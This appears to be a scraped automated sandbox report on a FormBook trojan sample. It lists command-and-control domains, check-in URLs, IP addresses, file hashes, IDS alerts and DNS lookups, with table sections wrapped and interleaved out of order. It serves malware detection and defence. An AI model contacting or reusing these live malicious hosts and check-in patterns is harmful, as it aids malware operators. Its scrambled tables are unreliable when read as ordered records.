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Classification: mal100.troj.evad.winEXE@7/1@11/7

EGA Information: Failed

HDC Information: Successful, ratio: 11.3% (good quality ratio 10%)
Quality average: 72.3%
Quality standard deviation: 32.5%

HCA Information: Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

20:34:33 API Interceptor 1x Sleep call for process: 56460021473877.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

213.186.33.5 Inquiry.PDF.exe Get hash malicious Browse  www.crypt
oinvestyl.
com/useb/?
7n=rb5KM64
5fVULn9EIj
NiSrLrXZnT
qgwo0qZgPr
8vcAbC+lV8
HIDgfBu567
M4OIFSdpGD
P&CXKP2l=8
p0TGj

yutrre123.exe Get hash malicious Browse  www.ip-15-235-
90.net/rv9n/?C6
=x2M4VzrxS
8spav6&3f0
Px0=FD98Tg
mDYK3tjsbS
VN2Nn1kPM3
cY7rQmBH5f
e1GuppdV1P
N8TumzKy7z
Ny0mePzpYunk

dec.exe Get hash malicious Browse  www.tapissier-
uzes.com/s8ne/?
9rHTW2=Iyw
SeCxzvG/Yb
uYEB/7xRU7
gTHZ1GMcet
uZx3hUN2sl
3h+qfJ8uqi
3N8u2LKyEm
rUvK6&lDK=
Xjl0dx

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/394211/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394211/html/none?idtype=webid
https://view.joesandbox.com/analysis/392620/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392620/html/none?idtype=webid
https://view.joesandbox.com/analysis/392596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392596/html/none?idtype=webid


CV 10-06-2021.xlsx Get hash malicious Browse  www.priva
telymeetin
g.com/shjn/?
FJB0bfcP
=WC6mZM08I
0NlfqwnwDG
6ZhC66ih1U
/GhUT+zKl6
s+Bbyt2zvJ
c6FkKkmrbU
pziPgwvGuW
w==&d8r=-Z
KPkTnXET

PO#006599.pdf.exe Get hash malicious Browse  www.sddeb
ouchages.c
om/nid3/?j
2=q+qg5ou/
T18Br1UU7x
G8BDYHxAIo
sKClNMKdAj
4hUI0MbrFM
jo+h1vfAQy
7FTgCwKj96
&f6P=_BiLl
69PCpItC2

Remittance Advice.xlsx Get hash malicious Browse  www.enjoy-
developpe
ment.com/hr8n/?
e2JtT=jVeTzlG8K
lLhA&ufbtF
P7=kc5QOVL
9/kFolziHA
NyozIdA+E/
RkrEUwpNev
Q3EWN3VSWN
w6VvEOavxI
Y6bu6qwhQY
yYQ==

BYSM-207 SC TRIFTECH78574543957Baku.exe Get hash malicious Browse  www.box-7
70.com/ni8b/?
QrNTzB=
4hVp3h30&l
48x5=5gklY
s16rcBoTPw
exQgZaEg2W
cCOIBmXVnG
tPO+7DRUqV
3YS52r/gKU
kKkjK8OPG1pp1

Swift Copy.exe Get hash malicious Browse  www.eu-cc-
scheme-is
ac.com/eods/?
i8kt=F9Ltz4hjiu0I
6+j2wV/8Zk
7bshxyTBv8
V8Zgjkg9hK
KY4Q/4fXaS
PDL1y2LmX9
E023W3&1bR
La=YfFxl

bank statement 001.pdf.exe Get hash malicious Browse  www.immobilier-
alienor.net/kv3e/?
r8-TmH
k=MYvoXz2D
7s00WneKts
1QcPEMBjkR
PGDQjHxDd3
3pXFG+ah/E
7j9jeXrxmD
oOt0yv/vOP
&D2MxVv=LP
pxnp

rrfee1234.exe Get hash malicious Browse  www.ip-15-235-
90.net/rv9n/?6l
u=FD98TgmD
YK3tjsbSVN
2Nn1kPM3cY
7rQmBH5fe1
GuppdV1PN8
TumzKy7zNx
U2RujRGLOj
&r2Md=bFQL
Hr_XK

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/391777/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391777/html/none?idtype=webid
https://view.joesandbox.com/analysis/391660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391660/html/none?idtype=webid
https://view.joesandbox.com/analysis/391184/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391184/html/none?idtype=webid
https://view.joesandbox.com/analysis/390825/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390825/html/none?idtype=webid
https://view.joesandbox.com/analysis/390728/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390728/html/none?idtype=webid
https://view.joesandbox.com/analysis/390458/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390458/html/none?idtype=webid
https://view.joesandbox.com/analysis/390135/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390135/html/none?idtype=webid


Invoice  Packing list.exe Get hash malicious Browse  www.eu-cc-
scheme-is
ac.com/eods/?
tL30a=N
8zxsVvhhbB
LjNRp&6liX
pZH=F9Ltz4
hjiu0I6+j2
wV/8Zk7bsh
xyTBv8V8Zg
jkg9hKKY4Q
/4fXaSPDL1
y2LmX9E023W3

OApfyh3Vfm.exe Get hash malicious Browse  www.priva
telymeetin
g.com/shjn/?
BZXds2=W
C6mZM05IzN
hf68ryDG6Z
hC66ih1U/G
hUTmjWmmt6
hbztHfpOMr
JyOcko+4Vo
C7T/uTe&jl
W=5jIhet3

P.O Turkey_51021.exe Get hash malicious Browse  www.badji-
consultin
g.com/un3a/?
7nH=/xgt
psrvNhmWse
N6B+mMwD/3
zlqwXFzD6K
e4Te1hFrO2
JhIa3A3FpE
DoKU5ARwPQ
SZkM&i6y=iVkD

SOA.exe Get hash malicious Browse  www.eu-cc-
scheme-is
ac.com/eods/?
e2M=B48
tCN&0488qv
=F9Ltz4hji
u0I6+j2wV/
8Zk7bshxyT
Bv8V8Zgjkg
9hKKY4Q/4f
XaSPDL1y2L
mX9E023W3

Z14S9Zolcyub1pd.exe Get hash malicious Browse  www.edgar-
regale.com/jdt0/?
YPyd=QpNqCCk
/w5C4FJ2Xv
GA42+trnKy
HbnMin3ffX
2+aSQ3Q0hQ
JTWPTFDZX5
5IzwXmDjCi
m&Z8atc=2d
tlDXLP5h8H2Zg0

DOC.exe Get hash malicious Browse  www.hotel-
balzac.pa
ris/n58i/?
RFN0Kv=04f
Pn6sxaFNHz
&Q0DL4pLH=
cltUg8I60w
QSNq1POnzU
EQl5YYU1bx
KdSkbeF3W9
0ZOnJRrjtJ
dPokcfzu1B
tUzjohcR

USD INV#1191189.xlsx Get hash malicious Browse  www.lacag
eavin.com/b6cu/?
n6=B
6rzKVNhwWB
rYBudNzJT/
AwPBizW8k3
hcm2KU8VAR
UNeylPckML
clLMptxRkm
VZCwNt3mQ=
=&xTBXUJ=6
lftpVLP0d

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/389818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389818/html/none?idtype=webid
https://view.joesandbox.com/analysis/389551/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389551/html/none?idtype=webid
https://view.joesandbox.com/analysis/388021/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388021/html/none?idtype=webid
https://view.joesandbox.com/analysis/387960/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387960/html/none?idtype=webid
https://view.joesandbox.com/analysis/382858/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382858/html/none?idtype=webid
https://view.joesandbox.com/analysis/380055/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/380055/html/none?idtype=webid
https://view.joesandbox.com/analysis/379083/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379083/html/none?idtype=webid


New Order.exe Get hash malicious Browse  www.lacag
eavin.com/b6cu/?
I6Al
=wTVDQbk0M
6&R48=B6rz
KVNkwRBvYR
iRPzJT/AwP
BizW8k3hcm
uaI/JBV0Nf
yUjajcaQzP
0ruXRi+0BK
87ZW/sllUQ==

prueba22.exe Get hash malicious Browse  www.bosc.
pro/a0ce/?
O2Mp=p3W6t
ZqqMh9cyJW
I+Ifxtu9b3
XcFtsvySVo
7/NVrh1mIc
TF+GwrcSSr
I+V7FI7p/2
Fok5w==&cT
_T=9ra0sts
XZtHLPLNp

Swift Copy.exe Get hash malicious Browse  www.votre
conseilfin
ancier.com
/b6cu/?2dS
pM=5FGFntg
WmLj4vD/wc
jkbKA/XjB0
p23UKe5ZDL
LIhgH6ngvA
+ZRqv804x9
gqeYQWIj44
x&PVvtW=7nWhA

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

mitiendanube.com FanCourier54488203expediere doc202177.exe Get hash malicious Browse 52.200.197.31

f41e9f9d_by_Libranalysis.exe Get hash malicious Browse 52.206.238.9

20210303948387477467,pdf.exe Get hash malicious Browse 52.200.197.31

2021_036,pdf.exe Get hash malicious Browse 52.5.157.71

www.sapphiremodule.com Peq0Amq9EP.exe Get hash malicious Browse 44.227.76.166

www.box-770.com BYSM-207 SC TRIFTECH78574543957Baku.exe Get hash malicious Browse 213.186.33.5

Match Associated Sample Name / URL SHA 256 Detection Link Context

OVHFR SecuriteInfo.com.Exploit.Siggen3.21227.11912.xls Get hash malicious Browse 188.165.62.61

SecuriteInfo.com.Exploit.Siggen3.21227.11912.xls Get hash malicious Browse 188.165.62.61

yHm66D4wla.dll Get hash malicious Browse 51.83.3.52

FIDTIpakSU.dll Get hash malicious Browse 51.83.3.52

BobglLrEyi.dll Get hash malicious Browse 51.83.3.52

Pxnrz0DXD3.dll Get hash malicious Browse 51.83.3.52

ZHuOtLRXeM.dll Get hash malicious Browse 51.83.3.52

SecuriteInfo.com.Artemis9D180B40D96E.25394.dll Get hash malicious Browse 51.83.3.52

SecuriteInfo.com.Heur.12255.xls Get hash malicious Browse 188.165.62.61

SecuriteInfo.com.ML.PE-A.4403.dll Get hash malicious Browse 51.83.3.52

SecuriteInfo.com.ML.PE-A.28995.dll Get hash malicious Browse 51.83.3.52

SecuriteInfo.com.ML.PE-A.4995.dll Get hash malicious Browse 51.83.3.52

SecuriteInfo.com.Heur.17985.xls Get hash malicious Browse 188.165.62.61

qDXRTsZAL9.exe Get hash malicious Browse 139.99.118.252

SecuriteInfo.com.Heur.12255.xls Get hash malicious Browse 188.165.62.61

h9WnY2tOg7.dll Get hash malicious Browse 51.83.3.52

SecuriteInfo.com.Heur.17985.xls Get hash malicious Browse 188.165.62.61

Payment_Receipt 7183.xls Get hash malicious Browse 51.83.3.52

SecuriteInfo.com.Heur.21879.xls Get hash malicious Browse 188.165.62.61

EXPORT INVOICE 2021.exe Get hash malicious Browse 51.161.86.13

AMAZON-AESUS cvWFjfKtdH Get hash malicious Browse 44.200.82.228

Payment Confirmation.exe Get hash malicious Browse 3.223.115.185

Payment Information MT103.exe Get hash malicious Browse 18.215.13.95

Domains

ASN
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https://view.joesandbox.com/analysis/378441/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378441/html/none?idtype=webid
https://view.joesandbox.com/analysis/378426/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378426/html/none?idtype=webid
https://view.joesandbox.com/analysis/372955/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372955/html/none?idtype=webid
https://view.joesandbox.com/analysis/390791/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390791/html/none?idtype=webid
https://view.joesandbox.com/analysis/317534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/317534/html/none?idtype=webid
https://view.joesandbox.com/analysis/271907/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/271907/html/none?idtype=webid
https://view.joesandbox.com/analysis/263881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263881/html/none?idtype=webid
https://view.joesandbox.com/analysis/382714/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382714/html/none?idtype=webid
https://view.joesandbox.com/analysis/390825/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390825/html/none?idtype=webid
https://view.joesandbox.com/analysis/394862/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394862/html/none?idtype=webid
https://view.joesandbox.com/analysis/394857/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394857/html/none?idtype=webid
https://view.joesandbox.com/analysis/394856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394856/html/none?idtype=webid
https://view.joesandbox.com/analysis/394845/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394845/html/none?idtype=webid
https://view.joesandbox.com/analysis/394834/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394834/html/none?idtype=webid
https://view.joesandbox.com/analysis/394800/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394800/html/none?idtype=webid
https://view.joesandbox.com/analysis/394790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394790/html/none?idtype=webid
https://view.joesandbox.com/analysis/394784/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394784/html/none?idtype=webid
https://view.joesandbox.com/analysis/394777/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394777/html/none?idtype=webid
https://view.joesandbox.com/analysis/394776/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394776/html/none?idtype=webid
https://view.joesandbox.com/analysis/394774/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394774/html/none?idtype=webid
https://view.joesandbox.com/analysis/394773/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394773/html/none?idtype=webid
https://view.joesandbox.com/analysis/394771/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394771/html/none?idtype=webid
https://view.joesandbox.com/analysis/394769/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394769/html/none?idtype=webid
https://view.joesandbox.com/analysis/394768/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394768/html/none?idtype=webid
https://view.joesandbox.com/analysis/394766/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394766/html/none?idtype=webid
https://view.joesandbox.com/analysis/394765/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394765/html/none?idtype=webid
https://view.joesandbox.com/analysis/394764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394764/html/none?idtype=webid
https://view.joesandbox.com/analysis/394762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394762/html/none?idtype=webid
https://view.joesandbox.com/analysis/394757/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394757/html/none?idtype=webid
https://view.joesandbox.com/analysis/394783/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394783/html/none?idtype=webid
https://view.joesandbox.com/analysis/394670/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394670/html/none?idtype=webid
https://view.joesandbox.com/analysis/394623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394623/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assemb

ly, for MS Windows

Entropy (8bit): 7.175639493174068

qalTySElfj Get hash malicious Browse 34.226.20.105

rLGunciziY Get hash malicious Browse 54.196.47.175

JuufQURFPh.exe Get hash malicious Browse 50.16.216.118

ut5yFyWEDd Get hash malicious Browse 44.222.19.141

jew.x86 Get hash malicious Browse 54.167.221.252

ckYh27IjHJ Get hash malicious Browse 34.236.224.188

TM2ALMOZ8Q Get hash malicious Browse 18.205.154.215

cM5cZsOugg Get hash malicious Browse 54.138.164.249

jew.x86 Get hash malicious Browse 35.172.163.150

DHL-Waybill.exe Get hash malicious Browse 54.208.212.1

UaBxIF11A6 Get hash malicious Browse 54.82.231.227

80wVQ9c87m Get hash malicious Browse 34.238.201.118

ubr43ro8gn Get hash malicious Browse 52.3.190.129

DQak2G9Ly5 Get hash malicious Browse 44.196.235.84

x86 Get hash malicious Browse 54.53.174.239

sora.x86 Get hash malicious Browse 44.192.229.159

xd.arm Get hash malicious Browse 52.0.161.15

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\56460021473877.exe.log
Process: C:\Users\user\Desktop\56460021473877.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1216

Entropy (8bit): 5.355304211458859

Encrypted: false

SSDEEP: 24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr

MD5: FED34146BF2F2FA59DCF8702FCC8232E

SHA1: B03BFEA175989D989850CF06FE5E7BBF56EAA00A

SHA-256: 123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C

SHA-512: 1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178F
F6

Malicious: false

Reputation: high, very likely benign file

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyT
oken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.C
onfiguration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\
8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:
\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/394553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394553/html/none?idtype=webid
https://view.joesandbox.com/analysis/394524/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394524/html/none?idtype=webid
https://view.joesandbox.com/analysis/394510/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394510/html/none?idtype=webid
https://view.joesandbox.com/analysis/394478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394478/html/none?idtype=webid
https://view.joesandbox.com/analysis/394381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394381/html/none?idtype=webid
https://view.joesandbox.com/analysis/394377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394377/html/none?idtype=webid
https://view.joesandbox.com/analysis/394293/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394293/html/none?idtype=webid
https://view.joesandbox.com/analysis/394287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394287/html/none?idtype=webid
https://view.joesandbox.com/analysis/394282/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394282/html/none?idtype=webid
https://view.joesandbox.com/analysis/394014/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394014/html/none?idtype=webid
https://view.joesandbox.com/analysis/393998/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393998/html/none?idtype=webid
https://view.joesandbox.com/analysis/393995/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393995/html/none?idtype=webid
https://view.joesandbox.com/analysis/393992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393992/html/none?idtype=webid
https://view.joesandbox.com/analysis/393987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393987/html/none?idtype=webid
https://view.joesandbox.com/analysis/393963/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393963/html/none?idtype=webid
https://view.joesandbox.com/analysis/393929/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393929/html/none?idtype=webid
https://view.joesandbox.com/analysis/393900/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393900/html/none?idtype=webid


TrID: Win32 Executable (generic) Net Framework 
(10011505/4) 49.83%
Win32 Executable (generic) a (10002005/4) 
49.78%
Generic CIL Executable (.NET, Mono, etc.) 
(73296/58) 0.36%
Generic Win/DOS Executable (2004/3) 0.01%
DOS Executable Generic (2002/1) 0.01%

File name: 56460021473877.exe

File size: 569856

MD5: d95e9bb2fa064a984c391b5bfc1d01e6

SHA1: 6b045974084794b785110909351e2a25950c5ed6

SHA256: b499be4b6955eebcf4228039f67a65a38b322f0ca1d58d8
071de9a428ced8720

SHA512: 8aa2c31ca9b1dc7ef64c45f8c2f56ca2d4df57d1ee05a31
dc213e8ac868dbf2b520111c77b68991c6a5f4bb61def3c
44a4182b7a4359501bcf892c50d19682aa

SSDEEP: 6144:t1DEMkhBBcKqMkXKQEa2F7A4quO15IWwPGQ
scHLHXQpCIOZBxPFPgN21c1:nD/SBBcErSqqflwPGQ
QpFINPgNP1

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......PE..L...`
.fa..............0.................. ........@.. ...................................
.@................................

General

File Icon

Icon Hash: 71f0e4d8d0e0f0f0

General
Entrypoint: 0x45b9b6

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x6166DF60 [Wed Oct 13 13:30:08 2021 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0x599bc 0x59a00 False 0.859723675035 data 7.73073019644 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rsrc 0x5c000 0x313e4 0x31400 False 0.441118734137 data 5.72292205998 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x8e000 0xc 0x200 False 0.044921875 data 0.101910425663 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Static PE Info

Entrypoint Preview

Data Directories

Sections

Resources
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Snort IDS Alerts

Network Port Distribution

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

10/13/21-
20:35:31.965433

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49811 80 192.168.2.4 154.208.173.144

10/13/21-
20:35:31.965433

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49811 80 192.168.2.4 154.208.173.144

10/13/21-
20:35:31.965433

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49811 80 192.168.2.4 154.208.173.144

10/13/21-
20:35:42.859962

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49817 80 192.168.2.4 67.205.83.103

10/13/21-
20:35:42.859962

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49817 80 192.168.2.4 67.205.83.103

10/13/21-
20:35:42.859962

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49817 80 192.168.2.4 67.205.83.103

10/13/21-
20:36:15.000572

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49851 80 192.168.2.4 31.170.167.144

10/13/21-
20:36:15.000572

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49851 80 192.168.2.4 31.170.167.144

10/13/21-
20:36:15.000572

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49851 80 192.168.2.4 31.170.167.144

10/13/21-
20:36:31.327510

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49854 80 192.168.2.4 44.227.65.245

10/13/21-
20:36:31.327510

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49854 80 192.168.2.4 44.227.65.245

10/13/21-
20:36:31.327510

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49854 80 192.168.2.4 44.227.65.245

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 13, 2021 20:35:31.118007898 CEST 192.168.2.4 8.8.8.8 0x5ef5 Standard query 
(0)

www.nhming
wei.com

A (IP address) IN (0x0001)

Oct 13, 2021 20:35:37.261835098 CEST 192.168.2.4 8.8.8.8 0xb2d8 Standard query 
(0)

www.cellte
cstore.com

A (IP address) IN (0x0001)

Oct 13, 2021 20:35:42.638209105 CEST 192.168.2.4 8.8.8.8 0xc530 Standard query 
(0)

www.ps-sac.com A (IP address) IN (0x0001)

Oct 13, 2021 20:35:48.010533094 CEST 192.168.2.4 8.8.8.8 0xe23 Standard query 
(0)

www.txspor
ts.club

A (IP address) IN (0x0001)

Oct 13, 2021 20:35:53.450046062 CEST 192.168.2.4 8.8.8.8 0xa587 Standard query 
(0)

www.ville-
fogalmam.com

A (IP address) IN (0x0001)

Oct 13, 2021 20:35:58.509708881 CEST 192.168.2.4 8.8.8.8 0xd63d Standard query 
(0)

www.rajind
erbeas.com

A (IP address) IN (0x0001)

Oct 13, 2021 20:36:09.603306055 CEST 192.168.2.4 8.8.8.8 0xfbee Standard query 
(0)

www.box-77
0.com

A (IP address) IN (0x0001)

Oct 13, 2021 20:36:14.717250109 CEST 192.168.2.4 8.8.8.8 0xb48c Standard query 
(0)

www.thecry
stalconsci
ousness.com

A (IP address) IN (0x0001)

Oct 13, 2021 20:36:20.411690950 CEST 192.168.2.4 8.8.8.8 0x707a Standard query 
(0)

www.eastsi
descooters.com

A (IP address) IN (0x0001)

Oct 13, 2021 20:36:25.451200962 CEST 192.168.2.4 8.8.8.8 0x9122 Standard query 
(0)

www.servic
iosgeneral
esjba.online

A (IP address) IN (0x0001)

Imports

Version Infos

TCP Packets

UDP Packets

DNS Queries
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Oct 13, 2021 20:36:30.845546007 CEST 192.168.2.4 8.8.8.8 0x3843 Standard query 
(0)

www.sapphi
remodule.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 13, 2021 
20:35:31.431078911 
CEST

8.8.8.8 192.168.2.4 0x5ef5 No error (0) www.nhming
wei.com

154.208.173.144 A (IP address) IN (0x0001)

Oct 13, 2021 
20:35:37.317528009 
CEST

8.8.8.8 192.168.2.4 0xb2d8 No error (0) www.cellte
cstore.com

celltec4.mitiendanube.co
m

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
20:35:37.317528009 
CEST

8.8.8.8 192.168.2.4 0xb2d8 No error (0) celltec4.m
itiendanube.com

mitiendanube.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
20:35:37.317528009 
CEST

8.8.8.8 192.168.2.4 0xb2d8 No error (0) mitiendanu
be.com

52.5.157.71 A (IP address) IN (0x0001)

Oct 13, 2021 
20:35:37.317528009 
CEST

8.8.8.8 192.168.2.4 0xb2d8 No error (0) mitiendanu
be.com

52.206.238.9 A (IP address) IN (0x0001)

Oct 13, 2021 
20:35:37.317528009 
CEST

8.8.8.8 192.168.2.4 0xb2d8 No error (0) mitiendanu
be.com

52.200.197.31 A (IP address) IN (0x0001)

Oct 13, 2021 
20:35:42.748863935 
CEST

8.8.8.8 192.168.2.4 0xc530 No error (0) www.ps-sac.com ps-sac.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
20:35:42.748863935 
CEST

8.8.8.8 192.168.2.4 0xc530 No error (0) ps-sac.com 67.205.83.103 A (IP address) IN (0x0001)

Oct 13, 2021 
20:35:48.146205902 
CEST

8.8.8.8 192.168.2.4 0xe23 No error (0) www.txspor
ts.club

txsports.club CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
20:35:48.146205902 
CEST

8.8.8.8 192.168.2.4 0xe23 No error (0) txsports.club 148.72.177.185 A (IP address) IN (0x0001)

Oct 13, 2021 
20:35:53.479887962 
CEST

8.8.8.8 192.168.2.4 0xa587 Name error (3) www.ville-
fogalmam.com

none none A (IP address) IN (0x0001)

Oct 13, 2021 
20:35:58.894642115 
CEST

8.8.8.8 192.168.2.4 0xd63d No error (0) www.rajind
erbeas.com

rajinderbeas.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
20:35:58.894642115 
CEST

8.8.8.8 192.168.2.4 0xd63d No error (0) rajinderbe
as.com

216.10.241.4 A (IP address) IN (0x0001)

Oct 13, 2021 
20:36:09.648792982 
CEST

8.8.8.8 192.168.2.4 0xfbee No error (0) www.box-77
0.com

213.186.33.5 A (IP address) IN (0x0001)

Oct 13, 2021 
20:36:14.855338097 
CEST

8.8.8.8 192.168.2.4 0xb48c No error (0) www.thecry
stalconsci
ousness.com

thecrystalconsciousness.
com

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
20:36:14.855338097 
CEST

8.8.8.8 192.168.2.4 0xb48c No error (0) thecrystal
consciousn
ess.com

31.170.167.144 A (IP address) IN (0x0001)

Oct 13, 2021 
20:36:20.434771061 
CEST

8.8.8.8 192.168.2.4 0x707a Name error (3) www.eastsi
descooters.com

none none A (IP address) IN (0x0001)

Oct 13, 2021 
20:36:25.485270977 
CEST

8.8.8.8 192.168.2.4 0x9122 No error (0) www.servic
iosgeneral
esjba.online

serviciosgeneralesjba.onli
ne

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
